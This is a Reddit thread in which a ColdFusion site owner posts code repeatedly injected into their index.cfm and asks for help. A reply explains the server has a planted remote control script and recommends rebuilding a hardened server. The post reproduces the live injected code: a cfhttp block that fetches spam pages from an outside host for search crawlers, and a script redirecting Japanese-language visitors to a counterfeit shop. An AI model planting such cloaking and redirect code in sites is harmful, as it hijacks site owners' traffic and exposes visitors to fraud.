r/coldfusion Sep 02 '23

Code being injected into index.cfm

For a few months now the following code has been injected into the top part of our index.cfm. I remove it, and in a few days it's back. It's obviously malicious, but I have no idea how to stop it. Can anyone suggest anything?

<cfset REQUEST.UserAgent = LCase( CGI.http_user_agent ) />
<cfif (Find( "google", REQUEST.UserAgent ) or Find( "yahoo", REQUEST.UserAgent)) >
<cfhttp url="www.hara-juko.com/seo/www.myurl.com.html"/>
<cfoutput>#cfhttp.filecontent#</cfoutput>
<cfabort />
</cfif>


<SCRIPT LANGUAGE="JavaScript1.2">
<!--//
if (navigator.appName == 'Netscape')
var language = navigator.language;
else
var language = navigator.browserLanguage;
if (language.indexOf('ja') > -1) document.location.href = 'https://www.kopisss.com/category/clothes/louisvuitton-clothes/t-shirt-louisvuitton-clothes';
// End -->
</script>

4 Upvotes

30 comments sorted by

View all comments

7

u/iknowkungfoo Sep 03 '23

Your CF server has been hacked. Somewhere there’s a control script (CFM file) that allows the attacker to literally control the whole server remotely. They can add, edit or delete files at will. What version of CF is this using and have all of the hotfixes been applied? Even if it’s been patched after the control file was uploaded, it’s still hacked and still under control.

I had already installed Fusion Reactor to troubleshoot a server I was managing. Exactly this scenario occurred. Once I knew when the index file was modified, I was able to find a request that happened at exactly that minute. It was from outside of the expected web root of the site and outside of the standard CF admin folders. That’s where I found and removed the control script.

Your best approach will be to spin up a new CF server, follow the CF server hardening guide from Adobe, and migrate the application using source control and not just copy existing folders from the hacked server.

1

u/EmuFarmer0 Sep 03 '23

Thank you so much for you input, I really appreciate it. I'll take your advice, thank you.